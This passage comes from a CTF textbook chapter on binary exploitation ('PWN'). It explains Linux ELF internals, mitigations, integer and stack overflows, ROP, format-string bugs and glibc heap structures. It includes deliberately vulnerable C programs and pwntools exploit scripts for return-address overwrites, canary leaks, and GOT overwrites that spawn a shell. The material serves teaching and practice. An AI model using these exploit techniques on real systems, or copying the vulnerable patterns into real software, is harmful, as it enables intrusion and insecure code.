https://doi.org/10.1007/978-981-19-0336-6_6
430 6 PWN
Most of the CTF PWN challenges use the Linux environment, so it is necessary to
learn the basic knowledge of Linux. The following is an introduction to the content
of Linux related to the PWN.
Like 32-bit Windows programs, 32-bit Linux programs also follow the principle of
stack balancing during execution.ESP and EBP is the stack pointer and frame pointer
registers, and EAX is the return value. We can see the argument passing follows the
traditional cdecl call convention from the source code and compilation results (see
Fig. 6.1). Function arguments are pushed into stack from right to left, and function
arguments are cleared by the caller.
The 64-bit Linux program uses fast call to pass the parameter. The difference
between the 64-bit and 32-bit of the parameters passing is that the first six parameters
of the function are passed by the RDI, RSI, RDX, RCX, R8, and R9. If there are
extra parameters, then use the stack to pass the same as 32-bit, see Fig. 6.2.
The PWN also requires direct calls to the API provided by the operating system.
Unlike Windows, which uses the “win32 api” to call the system API. Simple system
calls also a feature of Linux.
In 32-bit Linux, system call calls require the int 0x80 (soft interrupt instruction).
When the instruction is executed, the system call number is stored in the EAX, and
the paramseters of the system call are stored in the EBX, ECX, EDX, ESI, EDI, and
EBP. The result of the call is stored in the EAX. In fact, a system call can be viewed
as a special function call which use the “int 0x80” instead of “call”.Compared to
32-bit Linux, the 64-bit Linux system call instruction becomes syscall, the registers
for passing parameters become RDI, RSI, RDX, R10, R8, and R9, and the system
call number corresponding to the system call is changed. An example of a read
system call is shown in Fig. 6.3.
The Linux currently has more than 300 system calls, and the number may
increase in the future as the kernel version is updated, but it is compact compared
to the complex Windows API. You can refer to the Linux help manual for finding the
call numbers and parameters that should be passed for each system call.
6.1 Basic Knowledge for PWN 433
The executable format for Linux is ELF (Executable and Linkable Format), which is
similar to the PE format of Windows. The ELF file format is relatively simple, and
the most important concepts that PWNer need to understand are the ELF header,
Section, and Segment.
The ELF header, which must be at the beginning of the file, indicates that it is an
ELF file and its basic information. It contains the ELF magic code, the architecture of
the program, the entry point of the program, etc. The ELF header can be displayed
with the command “readelf –h”, and is generally used to find the entry point of a
program.
The ELF file consists of sections, which store various data. Sections of the ELF
file are used to store a variety of different data, including:
• .text section – stores the code of the program.
• .rdata section – stores non-modifiable static data used by the program, such as
strings.
• .data section – stores data that can be modified by the program, such as global
variables.
• .bss section – stores the program’s modifiable data. Unlike .data, .bss is not
initialized and not occupy ELF space. Although the .bss section exists in the
section header table, there is no corresponding data in the file. When the program
starts executing, the system requests a memory unit and used as the actual .bss
section.
• .plt and .got sections – when a program calls a function from a dynamic link
library (SO file), in order to get the address of the called function, these two
sections are required.
Due to the extensibility of the ELF format, it is possible to create custom sections.
ELF can include a lot of non-execution related information such as program version,
hash, or symbolic debugging information. However, the operating system does not
parse this information when executing an ELF program. What needs to be parsed is
the ELF header and the Program Head Table. The purpose of parsing the ELF header
is to determine if the program's instruction set architecture, ABI version, and other
system support information are supported. Then Linux parses the program head table
to determine which segments to load. The program header table is an array of
program head structs, each of which contains a description of the segment. Like
Windows, Linux has a memory-mapped file function. When the operating system
executes a program, it needs to load the contents of an ELF file to a specific location
in memory according to the segment information in the program header table.
Therefore, the contents of each header include the segment type, the address
which it is loaded into memory, the segment length, memory read/write attributes,
and so on.
For example, the memory attribute of a segment stores code is readable and
executable, while a segment that stores data is read/write or read-only, etc. Note that
434 6 PWN
some segments may not have corresponding data content in the ELF file, such as
uninitialized static memory. The operating system does not care about the contents
of each segment, it simply loads the segments and points the PC pointer to the
program entry.
Someone may be confused about the relationship and difference between seg-
ments and sections, they are just two forms of interpreting data in ELF. Just as a
person has multiple identities, ELF uses both segment and section formats to
describe a piece of data, but the emphasis is different. The operating system does
not need to care about the specific function in ELF, it just needs to know the data
should be loaded into which memory address and the read/write properties of the
memory, so it divides the data by segments.
The compiler, debugger, or IDA need to know what the data represents in order to
parse and divide the data by section. Usually, sections are more subdivided than
segments, such as .text, rdata is often divided into a segment. Sections are used to
describe additional information about the program and have nothing to do with the
running of the program. So it not have a corresponding segment and will not be
loaded into memory during program execution.
Modern operating systems use several means to mitigate the risk of a computer being
attacked by a vulnerability, which are collectively referred to as vulnerability
mitigation measures.
1. NX
NX protection, also known as DEP in Windows, set permissions on program
memory at a page-by-page granularity through the MemoryProtect Unit (MPU)
mechanism of modern operating systems. The basic rule of NX is that writable
and executable privileges are mutually exclusive. Therefore, it is not possible to
execute shellcode in an NX-protected program. All memory that can be modified is
not executable, and all code data that can be executed is unmodifiable.
GCC enables NX protection by default, which can be disabled by adding the “-z
execstack” parameter.
2. Stack Canary
Stack Canary Protection is a protection mechanism designed specifically for stack
overflow attacks. Since the goal of stack overflow attack is to overwrite the return
address of a function in the stack. The idea of canary is to write a random data before
the function starts execution, and check if the value is changed before the function
returns. If it is changed, it is assumed that a stack overflow has occurred. The
program will simply terminate.
GCC enable Stack Canary protection by default, which can be disabled by adding
the “-fno-stack-protector” parameter.
6.1 Basic Knowledge for PWN 435
GOT.PLT and .PLT are usually present in ELF files. ELF has no way of knowing
where libc are loaded when compiling. If a program wants to call a function in a
library, it must use .GOT.PLT and .PLT.
In Fig. 6.4, call _printf not jump to the actual _printf function. Since the program
does not determine the address of the printf function at compile time, the call
instruction actually jumps to the _printf entry in the PLT table. Figure 6.5 shows
the PLT's corresponding _printf item, and all external library functions used in ELF
will have a corresponding PLT item.
The .PLT table is also codes that take an address out of memory and jumps it. The
address is the actual address of _printf, and the place where the actual address of the
_printf function is stored is in the .GOT.PLT table as shown in Fig. 6.6.
PLT table is actually a function pointer array that contains the addresses of all
external functions used in ELF. The initialization of the .GOT.PLT table is done by
the operating system.
Of course, due to Linux's special Lazy Binding mechanism. PLT table is initial-
ized during the first call to the function. In other words, the .GOT.PLT table will
store the function’s real address after the function have been called. You can refer to
some related information if you interesting in i.
So, what is the role of .GOT.PLT and .PLT for PWN? Firstly, PLT can directly
call some external function, which will be very helpful in the stack overflow.
Secondly, since .GOT.PLT usually stores the address of a function in libc, you can
read .GOT.PLT to obtain the address of libc or write .GOT.PLT to control the
execution flow of the program.
6.2 Integer Overflow 437
The integer overflow is a relatively simple content in PWN.Of course, it does not
mean that the topic of integer overflow is relatively simple, only that integer
overflow itself is not very complex.
Computers can’t store infinitely large integers, and the values represented by integer
types in computers is a subset of natural numbers. For example, in a 32-bit C
program, the length of unsigned int is 32 bits, and the largest number that can be
represented is 0xffffffff. If you add 1 to this number, the result 0x100000000 will
exceed the range of 32 bits and only the lower 32 bits will be intercepted, and the
number will eventually become 0. This is unsigned overflow.
There are four types of integer overflows in computers, using 32-bit integers as
the example.
• Unsigned Overflow: unsigned number 0xffffffffff plus 1 becomes 0.
• Unsigned underflow: unsigned number 0 minus 1 becomes 0xffffffff.
• Signed overflow: A signed number positive 0x7fffffff plus 1 becomes negative
0x80000000 (-2147483648).
• Unsigned underflow: Signed negative number 0x80000000 minus 1 becomes
positive 0x7fffffff.
In addition, the direct conversion of signed and unsigned numbers can lead to integer
size mutations. For example, signed number -1 and unsigned number 0xffffff are
identical in binary, and direct conversion of the two can lead to unintended behavior
in the program.
Although integer overflows are simple, they are not simple to exploit. Unlike
memory corruptions such as stack overflow, which can be directly exploited by
overwriting the return address in the stack, integer overflows often require some
conversion before they can be exploited. There are two common types of
conversions.
1. integer overflow convert to buffer overflow
Integer overflow can mutate a small number into a large number. For example,
unsigned underflow can turn a number which represents the size of a buffer into a
very large integer by subtraction. This results in a buffer overflow.
438 6 PWN
Another way to bypass the length check is to enter a negative number, as some
programs use signed numbers for buffer’s length. Most APIs use unsigned numbers
for the length, and negative numbers can become large positive numbers and cause
overflow.
2. integer overflow to array out of bounds.
In C, the operation of an array index is implemented by simply adding an index to the
array pointer and does not check the boundary. Therefore, a large index will access the
data after the array. If the index is negative, it will also access the memory before the array.
Usually, integer overflow to array out-of-bounds is more common. During array
indexing, the index is also multiplied by the length of the array element to calculate
the actual address of the element. In the case of an int-type array, the array index
needs to be multiplied by 4 to calculate the offset. If you bypass boundary checking
by passing a negative number, you can access to the memory before the array.
However, since the index is multiplied by 4, it is still possible to index the data after
the array or even the entire memory space. For example, to index the content at
0x1000 bytes after the array, you only need to pass the negative number –
2147482624, which is 0x80000400 in hexadecimal. The number multiplied by the
length of the element 4, results in 0x00001000 due to the overflow of unsigned
integers. As you can see, array out-of-bounds is easier to exploit than integer over-
flows to buffer overflows.
Stack is a simple and classical data structure, which use the first-in, first-out (FILO)
method to access the data in the stack. In general, the last data to be pushed in the
stack is called top-of-stack data, and the location where it is stored is called the top of
the stack. The operation of storing data into the stack is called push and the operation
of removing data from the top of the stack is called pop.
Since the sequence of function calls is also such that the first function called
returns last, the stack is ideally suited for storing temporary data that are used during
function execution.
Currently, widely used architectures (x86, ARM, MIPS, etc.) support stack
operation at the instruction level and are designed with special registers to store
the address of the top of the stack. In most cases, push data into the stack causes the
top of the stack to grow from a high memory address to a low address.
1. stack overflow principle
Stack overflow is one of buffer overflow. Local variables of a function are usually
stored on the stack. If one of these buffers overflows, it is called stack overflow. The
most classical use of stack overflow is to overwrite the return address of a function in
order to hijack the program control flow.
In x86, a function is typically called with the instruction call and returned with the
instruction ret. When the called function return it will execute the ret instruction. the
6.3 Stack Overflow 439
CPU will pop the data at the top of the stack and assign it to the EIP register. This is
the data which tells the called function where it should return to, is called return
address. Ideally, the popped address is the address pushed by the previous call. This
allows the program return to the parent function and continue execution. The
compiler makes sure that the child function can return to the correct address even
if the child modifies the stack, it restores the stack to the state it was in when it
entered the function.
Example 6.1
#include<stdio.h>
#include<unistd.h>
void shell() {
system("/bin/sh");
}
void vuln() {
char buf[10];
gets(buf);
}
int main() {
vuln();
}
Use the following command to compile the program in Example 6.1, disabling
address randomization and stack overflow protection.
When the program executes the ret instruction, the stack layout is shown in
Fig. 6.7. At this time, 0x400579 saved at the top of the stack is the return address,
after executing the ret instruction, the program will jump to the location of
0x400579.
440 6 PWN
Note that the return address has a string of 0x414141414141 above it, which was
the data we just entered. Since the gets function does not check the length of the
input data, it can increase the input length until it overwrites the return address. As
you can see from Fig. 6.7, the distance between the return address and the first A is
18 bytes. If you enter more than 19 bytes, the return address will be overwritten.
Analyzing the program with IDA, we know that the shell function is located at
0x400537, and our goal is to let the program jump to that function so that it can
execute system(“/bin/sh”) to get a shell.
In order to input non-visible characters (such as address) to the program, we use a
very useful tool called pwntools.
The attack script is as follows.
#! /usr/bin/python
from pwn import * # Import the pwntools library
p = process('. /stack') # Run the local program "stack"
p.sendline('a'*18+p64(0x400537))
# Enter into the process and add '\n' at the end automatically. since
integers in x64 are stored # in little-endian(low bits are stored at low
address).
# The p64 function will automatically convert the 64-bit integer
0x400537 to 8-byte string as
# "\x37\x05\x40\x00\x00\x00\x00\x00\x00".
p.interactive() # Switch to interaction mode
Use IDA attach to the process, we can see the return address is overwritten to
0x400537 when it execute to the ret. Then continue the program, it will jumps to the
shell function and get the shell (see Fig. 6.8).
2. stack protection technology
Stack overflow is easy to exploit and can be very damaging. In order to mitigate the
growing security problems caused by stack overflow, developers introduced the
Canary mechanism which can detect stack overflow attacks.
6.3 Stack Overflow 441
In the past, miners will carry a canary when they entered a mine, and they would
observe the status of the canary to determine the oxygen level. The Canary protec-
tion mechanism is similar, by inserting a random number in front of the stack where
saves rbp, so that if an attacker overwrites the return address using a stack overflow
vulnerability, the Canary will be overwritten as well. The compiler adds the code
before ret instruction that checks if Canary’s value has been changed. If it is
changed, an exception wiil be thrown, which will interrupt the program to prevent
the attack.
However, this method is not always reliable, as in Example 6.2.
Example 6.2
#include<stdio.h>
#include<unistd.h>
void shell() {
system("/bin/sh");
}
void vuln() {
char buf[10];
puts("input 1:");
read(0, buf, 100);
puts(buf);
puts("input 2:");
fgets(buf, 0x100, stdin);
}
int main() {
vuln();
}
When the vuln function enters, it takes out the value of Canary from fs:28 and
places it in rbp-8. Before the function return, it compares the value in rbp-8 with the
value in fs:28. If it is changed, it calls the _ _stack_chk_fail function, which will
output an error message and exit the program (see Figs. 6.9 and 6.10).
However, the program prints the input string before the vuln function returns,
which can leak the canary on the stack and bypass the detection. It is possible to leak
the Canary by limiting the length of the input string. Since the lowest byte of the
Canary is 0x00, an extra character need to sent to cover 0x00 to prevent it from being
truncated by 0.
'input 1:\n'
>>>> p.sendline('a'*10)
>>>> p.recvuntil('a'*10+'\n') # Received the specified string
'aaaaaaaaa\n'
>>>> canary = '\x00'+p.recv(7) # Receive 7 characters
>>> canary
'\x00\n\xb6`\xb8\x87\xe0i' # Leak canary
In the next input, you can write the leaked Canary to the original address, and then
continue to overwrite the return address.
>>>>shell_addr = p64(0x400677)
>>>> p.sendline('a'*10+canary+p64(0)+p64(shell_addr))
6.3 Stack Overflow 443
>>>> p.interactive()
[*] Switching to interactive mode
ls
core exp.py stack stack2 stack.c
The above example illustrates that even if the compiler has Canary, you still need
to take care to prevent stack overflows when writing your program. Otherwise, it
may be exploited by attackers, which can cause serious consequences.
3. dangerous functions
By looking for dangerous functions, we can quickly determine if a program may
have a stack overflow. Some of the common hazard functions are listed below.
• Inputs: gets( ), reads a line up to the character ‘\n’, while ‘\n’ is converted to
‘\x00’; scanf( ), formats string %s (%s does not check the length); vscanf( ), as
above.
• Output: sprintf( ), which writes the formatted content to the buffer, but does not
check the buffer length.
• Strings: strcpy( ), stops when ‘\x00’ is encountered, does not check length, often
lead to off-by-one (overflow a single null byte); strcat( ), as above.
4. exploitable stack overflow
There are typically three types of exploitable stack overflow.
① Overwrite the function return address.
② Overwrite the BP register values stored on the stack. When the function is called,
it will first save the stack pointer, and then recover it when it returns, as follows
(for example, in an x64 program).
push rbp
mov rbp, rsp
leave ;equivalent to mov rsp, rbp pop rbp
ret
If the BP value on the stack is overwritten, the BP value of the parent function will
be changed after the function returns. The SP of parent function will not point to the
modified BP location instead of original return address.
③ Overriding the contents of a particular variable or address may lead to some
logical vulnerability.
444 6 PWN
Modern operating systems have MPU mechanisms to set memory permissions for
processes by pages. Memory permissions are readable (R), writable (W), and
executable (X). As soon as the CPU executes code on memory with no executable
permissions, the operating system will terminate the program immediately.
Based on the rules of vulnerability mitigation, there is no memory in the program
with both writable and executable permissions. It is not possible to execute shellcode
by modifying a code segment or data segment of the program. To bypass the
vulnerability mitigation mechanism, there is an attack technique called Return-
Oriented Programming (ROP), which controls the execution flow of the program
by returning to a specific sequence of instructions in the program. This section
describes how this technique can be used to implement the execution of arbitrary
instructions in a vulnerable program.
Section 6.3 describes the principle of stack overflow and the hijacking of the
program’s control flow by overwriting the return address, and jumping to the shell
function to execute arbitrary commands via the ret instruction. However, such a shell
function cannot exist in a program. It is possible to build an ROP chain by using the
instruction fragments (gadget) with end of the ret (0xc3) instruction to achieve
arbitrary code execution. Firstly, find all the ret instructions in the executable
memory of the program, then check if the byte before ret contains a valid instruction.
If so, mark the code fragment as an available Gadget. After finding a series of such
instructions ending with ret, put the addresses of these Gadgets on the stack in order.
After the Gadget, the ret instruction will bring PC to the next Gadget’s address which
at the top of the stack. This sequence of Gadgets on the stack forms a ROP chain,
which does arbitrary instruction execution.
1. Find the gadget
Theoretically, ROP is Turing-complete. The following types of Gadgets are com-
monly used for exploits.
• Move data in stack to a register, such as.
pop rax; ret;
There are some methods for finding Gadget, looking for the ret instruction in the
program and seeing if there is a desired sequence of instructions before ret. You can
also use tools such as ROPgadget, Ropper, etc.s
2. Return-oriented programming
Example 6.3
#include<stdio.h>
#include<unistd.h>
int main() {
char buf[10];
puts("hello");
gets(buf);
}
The difference from the previous example of stack overflow is that there are no
functions preconfigured in the program that can be used to execute commands.
Firstly, use ROPgadget to find Gadgets in this program.
gadgets information
============================================================
0x00000000004004ae : adc byte ptr [rax], ah ; jmp rax
0x0000000000400479 : add ah, dh ; nop dword ptr [rax + rax] ; ret
0x000000000040047f : add bl, dh ; ret
0x00000000004005dd : add byte ptr [rax], al ; add bl, dh ; ret
0x00000000004005db : add byte ptr [rax], al ; add byte ptr [rax], al ; add
bl, dh ; ret
0x000000000040055d : add byte ptr [rax], al ; add byte ptr [rax], al ;
leave ; ret
0x00000000004005dc : add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x000000000040055e : add byte ptr [rax], al ; add cl, cl ; ret
0x000000000040055f : add byte ptr [rax], al ; leave ; ret
0x00000000004004b6 : add byte ptr [rax], al ; pop rbp ; ret
0x000000000040047e : add byte ptr [rax], al ; ret
0x00000000004004b5 : add byte ptr [rax], r8b ; pop rbp ; ret
0x000000000040047d : add byte ptr [rax], r8b ; ret
0x0000000000400517 : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000400560 : add cl, cl ; ret
0x0000000000400518 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax +
rax] ; ret
446 6 PWN
The program is small and only has a few of Gadgets. There is no syscall Gadget
that can be used to execute system calls, so it is difficult to implement arbitrary code
execution. However, you can find a way to get the load address of some dynamic
6.4 Return-Oriented Programming 447
library (such as libc) and then use the Gadget in libc to construct a ROP that can
execute arbitrary code.
When the program calls the library function, it will read the address of the
corresponding function in GOT table and then jump to the address (see Fig. 6.11).
So, we can use the puts function to print the address of the library function. Then
subtract the offset of this library function from the libc load base address to calculate
the libc base address.
The GOT table in the program is shown in Fig. 6.12. The address of the puts
function is stored at 0x601018. If puts(0x601018) is called, the address of the puts
function in libc will be printed.
Based on the offset of the puts function in the libc, you can calculate the base
address of libc in memory. Then use the Gadget in libc to execute the system(“/bin/
sh”) to get the shell. This can be done using the syscall. The method of calling the
system function is similar to the previous one, so we will demonstrate it here using
system calls instead.
By querying the system call table, you can see that the system call number of
execve is 59, and you need to set the parameter to the following if you want to
execute any command.
execve("/bin/sh", 0, 0)
The string “/bin/sh” can be found in libc and does not need to be constructed.
Although the data in the registers cannot be rewritten directly. We can write to the
registers via the Gadget of the pop instruction. In this example, the registers needed
are RAX, RDI, RSI, RDX, and you can find the required Gadget in libc.
After leaking the library function address, the next step is to control the program
to main function so that we can input a new ROP chain to achieve arbitrary code
execution.
The full script is as follows.
p.recvuntil("hello\n")
p.sendline(rop2)
p.interactive()
The basic introduction of ROP is as above. You can follow the above example to
trace the execution of ROP in the debugger with single step, which will give a better
understanding of the ROP. More advanced usage of ROP, such as loop selection,
needs to modify the RSP value according to certain conditions to realize. You can try
it by yourself.
They are used in a similar way. This section takes printf as an example. In C, the
usage of printf is:
A string with placeholders such as %d, %s, etc. The first argument of the function is
format string, and the placeholders are used to specify how the output parameter
values will be formatted.
450 6 PWN
%[parameter][flags][field width][.precision][length]type
The format string vulnerability allows arbitrary read and write. Since function
arguments are passed through the stack, which can be leaked by using “%X$p”
(X is any positive integer). Also, if you can control the data on the stack, you can
write the address you want to leak on the stack in advance, and then use “%X$s” to
output the address as a string.
In addition, since “%n” writes the number of characters that have been success-
fully output to the address specified by the parameter. You can place the address you
want to overwrite on the stack in advance. Then use “%Yc%X$n” (Y is the data to be
written) to get arbitrary memory writes.
Example 6.4
#include<stdio.h>
#include<unistd.h>
int main() {
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
while(1) {
char format[100];
puts("input your name:");
read(0, format,100);
452 6 PWN
printf("hello");
printf(format);
}
return 0;
}
When we interrupt at printf(format), we can set the RSP is exactly the address of the
string we entered. So, it’s the 6th parameter (the first 5 parameters of 64-bit Linux
and the formatted string are passed by the register). Then we enter “AAAAAAAAA
%6$p”.
$ . /fsb
input your name:
AAAAAAAA%6$p
hello AAAAAAAAAA0x4141414141414141
The program outputs “AAAAAAAA” as pointer variables, and we can use this for
information leak first.
The stack contains the address of __libc_start_main (see Fig. 6.13), we can
calculate the base address of libc by subtracting the offset.
$ . /fsb
input your name:
%17$p%21$p
hello 0x559ac59416d00x7f1b57374b97
Once you have the libc base address, you can calculate the address of the system
function, and then modify the printf in GOT table to the system. The next time you
6.5 Format String Vulnerabilities 453
execute printf(format), you will actually execute system(format), type the format
string as “/bin/sh” to get the shell.
payload = "%"+str(ch0)+"c%12$hn"
payload += "%"+str(ch1)+"c%13$hn"
payload += "%"+str(ch2)+"c%14$hn"
payload = payload.ljust(48, 'a')
payload +=p64(base+0x201028)
# printf's address in the GOT table
payload +=p64(base+0x201028+2)
payload +=p64(base+0x201028+4)
p.sendline(payload)
p.sendline("/bin/sh\x00")
p.interactive()
If you output more than one int-type byte at a time, the printf will output several
gigabytes of data, which may be very slow in attacking remote servers or cause a
broken pipe. So The script splits the system address (6 bytes) into 3 words (2 bytes).
Note that in a 64-bit program, the address only takes up 6 bytes, which means that
the highest 2 bytes must be “\x00”, so the three addresses must be placed at the end
of the payload. Although it is better to calculate the offset by putting them in the first
place, the printf will output the string until “\x00”, and the “\x00” in the address will
truncate the string, and the placeholder used to write the address will not take effect
afterwards.
454 6 PWN
Sometimes the input strings are not stored on the stack, so there is no way to directly
place the address on the stack to control the parameters of the printf, in which case it
is more complicated to exploit.
The program has operations such as push rbp into the stack or some pointer on the
stack when calling the function, there will be a lot of pointers on the stack with the
address on the stack. It is easy to find three pointer p1, p2 and p3, forming a situation
where p1 points to p2 and p2 points to p3, we can use p1 to modify the lowest 1 byte
of p2 to make p2 point to the 8 bytes of p3 pointer. So you can modify p3 to any
value you want byte by byte, indirectly controlling the data on the stack.
Example 6.5
#include<stdio.h>
#include<unistd.h>
void init() {
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
return;
}
void fsb(char* format,int n) {
puts("please input your name:");
read(0, format, n);
printf("hello");
printf(format);
return;
}
void vuln() {
char * format = malloc(200);
for(int i=0; i<30; i++) {
fsb(format, 200);
}
free(format);
return;
}
int main() {
init();
vuln();
return;
}
When we interrupt at printf (Fig. 6.14), the pointer saved at 0x7ffffffee030 points
to 0x7ffffffee060, and the pointer saved at 0x7ffffffee060 points to 0x7ffffffee080,
which satisfies the requirement. These 3 pointers are at the 10th, 16th and 20th
arguments of printf. We can change the value at 0x7ffffffee080 to the address of the
6.5 Format String Vulnerabilities 455
free function in the GOT table, and then change the function pointer to the system
address. In this way, when you execute free(format), what is actually executed is
system(format), just type “/bin/sh” to get the shell.
The full script is as follows.
info("stack:0x%x", stack_addr)
info("base :0x%x", base)
info("libc :0x%x", libc_base)
p1 = stack_addr-48
p2 = stack_addr
p3 = stack_addr+32
# Calculate the address of these three pointers
free_got = base + elf.got['free']
system = libc_base + libc.symbols['system']
info("system:0x%x", system)
# overwrite p3 to free_got
for i in range(0, 6):
x=5-i
off = (p3+x)&0xff
p.recvuntil('name')
p.sendline("%"+str(off)+"c%10$hhn"+'\x00'*50)
456 6 PWN
# Modify the low byte of the p2 each time so that it points to the address
of each byte of the
# p3 pointer.
ch = (free_got>>(x*8))&0xff
p.recvuntil('name')
p.sendline("%"+str(ch)+"c%16$hhn"+'\x00'*50)
# Change the address of the p3 to the free_got address.
# At the end of the loop, the p3 is pointed to the address of the free
function in the GOT table
# overwrite free_got to system
for i in range(0,6):
off = (free_got+i)&0xff
p.recvuntil('name')
p.sendline("%"+str(off)+"c%16$hhn"+'\x00'*50)
ch = (system>>(i*8))&0xff
p.recvuntil('name')
p.sendline("%"+str(ch)+"c%20$hhn"+'\x00'*50)
# Change free_got_ptr to point to the system address.
# After the loop is completed, the pointer to the free function in the GOT
table points to the system # function address.
for i in range(30-25):
p.recvuntil('name')
p.sendline('/bin/sh'+'\x00'*100)
# Change the format string to "/bin/sh" and execute system("/bin/sh")
p.interactive()
Format strings has some rare placeholders, such as “s*” which takes the value of the
corresponding function argument as the width, and printf(“%*d”, 3, 1) will outputs
“1”.
Example 6.6
#include<stdio.h>
#include<unistd.h>
#include<fcntl.h>
int main() {
char buf[100];
long long a=0;
long long b=0;
int fp = open("/dev/urandom",O_RDONLY);
read(fp, &a, 2);
read(fp, &b, 2);
close(fp);
long long num;
puts("your name:");
read(0, buf, 100);
puts("you can guess a number,if you are lucky I will give you a gift:");
6.5 Format String Vulnerabilities 457
As in Example 6.6, you can get the shell after guessing the sum of two numbers
correctly. Without considering burste it, although the format string can leak the value
of the two numbers, but after the leak we have no chance modify the guess, so we
must take advantage of this opportunity, directly fill the num with the sum of a and b,
which requires the placeholder “*”.
When we interrupt at printf(buf), and the data on the stack is shown in Fig. 6.15a
and b (0x1b2d and 0xc8e3) are the 8th and 9th parameterof printf, and num_ptr is the
11th parameter. We can make a and b as output width, the number of characters
output is the sum of a and b. Then the effect of num¼¼a+b can be achieved by using
“%n” to write the value to num.
The script is as follows.
6.6 Heap
Heap (chunk) memory is a memory area that allows a program to dynamically allocate
and use memory during runtime. In contrast to stack memory and global memory,
heap memory does not have a fixed lifetime or a fixed memory area, and programs can
dynamically request and release memory of different sizes. After being allocated, the
heap memory area is always valid if no explicit release operation is performed.
Glibc designs the Ptmalloc2 heap manager for efficient heap memory allocation,
recycling, and management. In this section, we will focus on the analysis and
exploitation of the Ptmalloc2 defects. Here we only introduce the basic structure
and concepts of Glibc version 2.25 and the new features added in version 2.26.
Please refer to the Ptmalloc2 source code for more details about the heap manager.
The most basic memory structure allocated by the Ptmalloc2 heap manager is a
chunk. Chunk’s basic data structure is as follows.
struct malloc_chunk {
INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk
(if free). */
INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including
overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if
free. */
struct malloc_chunk* bk_nextsize;
};
6.6 Heap 459
The lower three bits of mchunk_size are fixed at 0 (810¼10002). In order to make
full use of memory space, the lower three bits of mchunk_size store PREV_INUSE,
IS_MMAPPED, and NON_MAIN_ARENA information respectively.
NON_MAIN_ARENA is used to record whether the current chunk does not belong
to the main thread, 1 means it does not, 0 means it does. IS_MAPPED used to record
if the current chunk is allocated by mmap. PREV_INUSE is used to record whether
the previous chunk was allocated or not, the PREV_INUSE flag is 0 if the chunk
adjacent to the current chunk is freed, and mchunk_prev_size is the size of the freed
adjacent chunk. The heap manager can use this information to find the location of the
previous freed chunk.
There are three forms of chunk in the manager, namely allocated chunk, free
chunk and top chunk. The heap manager will return an allocated chunk with the
structure mchunk_prev_size + mchunk_size + top chunk when the user requests
memory. user_memory is the memory space available to the user. free chunk is what
exists after the allocated chunk is freed. top chunk is a very large free chunk, and
memery space is generated by the top chunk split if the user request memory is
smaller than top chunk. On 64-bit systems, the minimum chunk structure is
32 (0x20) bytes. Unless otherwise specified, the objects described in this chapter
default to 64-bit Linux operating systems.
To allocate memory efficiently and avoid memory fragmentation as much as
possible, Ptmalloc2 divides free chunks of different sizes into different bin struc-
tures, namely, Fast Bin, Small Bin, Unsorted Bin, and Large Bin.
1. Fast Bin
The size of Fast Bin chunk is 32 to 128 (0x80) bytes. If the size of the chunk meets
this requirement when it is released, the heap manager will put the chunk into Fast
Bin and will not modify the PREV_ INUSE flag bit of the next chunk after it is
released. Fast Bin of different sizes are stored in a single-chain table structure of
corresponding size, and its single-chain table access mechanism is LIFO (Last In
First Out). The fd pointer to the last chunk that was added to the Fast Bin.
2. Small Bin
Small Bin stores chunks of 32 to 1024 (0x400) bytes, and each chunk is a double-
linked structure, with chunks of different sizes stored in their corresponding links.
Since it is a double-linked structure, it is slower than Fast Bin. The access method of
the linked listis FIFO (First In First Out).
3. Large Bin
Chunk larger than 1024 (0x400) bytes are managed using Large Bin, which has the
most complex and slowest structure compared to other Bin. Large Bin of the same
size are connected using fd and bk pointers, Large Bin of different size are connected
using fd_nextsize and bk_nextsize, and Large Bin of different size are connected
using bk_nextsize and bk_nextsize. nextsize sorted connections by size.
460 6 PWN
4. Unsorted Bin
Unsorted Bin is equivalent to the trash bin of Ptmalloc2 heap manager. After chunks
are freed, it will be added to the Unsorted Bin until next allocation. When the
Unsroted Bin of heap manager is not empty, user's request for non-Fast Bin memory
will be searched from Unsorted Bin first, and if a chunk (equal to or greater than)
matching the request is found, then the chunk will be allocated or divided.
In Example 6.6, an obvious heap overflow can be found. The size of buf in struct
AAA is 32 bytes, but 48 bytes of characters are read in. The excessively long
character directly overwrites the function pointer in the structure, which in turn
enables hijacking of the program control flow when the function pointer is called.
6.6 Heap 461
This section will debug and analyze the flaws in the Ptmalloc2 heap manager at the
source code level and will also explain how to exploit these flaws for vulnerability
exploitation. The tools used in this section are pwndbg (https://github.com/pwndbg/
pwndbg) and how2heap (https://github.com/shellphish/how2heap) shared by the
shellphish team. Readers can follow the CTF topics corresponding to the defects
in the how2heap.
to install the source package. After that, you can find the glibc-2.23.tar.xz file in the /
usr/src/glibc directory (see Fig. 6.16), unzip the file and see the glibc-2.23 source
code.
In GDB, use the dir command to set the source code search path.
This allows you to debug the Glibc source code at the source level (see Fig. 6.17).
For convenience, you can add to “~/.gdbinit” the following.
dir /usr/src/glibc/glibc-2.23/malloc
Set the source code path so that you don’t have to set it manually every time you
start GDB.
For other Linux distributions, you can also build a source code debugging
environment in this way. The source code packages can be found on the
distribution’s official website, such as the Ubuntu 16.04 libc source code at https://
packages.ubuntu.com/xenial/ glibc-source.
Section 6.6.1 describes Fast Bin as a single-linked LIFO structure connected using
FD pointers. n Glibc 2.25 and earlier, after a chunk is freed, it is first determined if its
size does not exceed the size of global_max_fast, and if so, it is put into Fast Bin,
otherwise other operations are performed. The following code is an interception of
the Ptmalloc2 source code in Glibc 2.25 regarding the handling of Fast Bin. After the
size of the chunk satisfies the condition that it does not exceed global_max_fast, it
will also determine if the size of the chunk exceeds the minimum chunk and is
smaller than the system memory, and then add the chunk to the chain table of the
corresponding size.
6.6 Heap 463
set_fastchunks(av);
unsigned int idx = fastbin_index(size); // Get the idx in the FastBin
of that size.
fb = &fastbin(av, idx);
The operation of Fast Bin is not complicated, first the memery manger determine
if the size of the request does not exceed the size of global_max_fast, if it does, we
take a chunk out of the chain table of that size. The following code verifies the
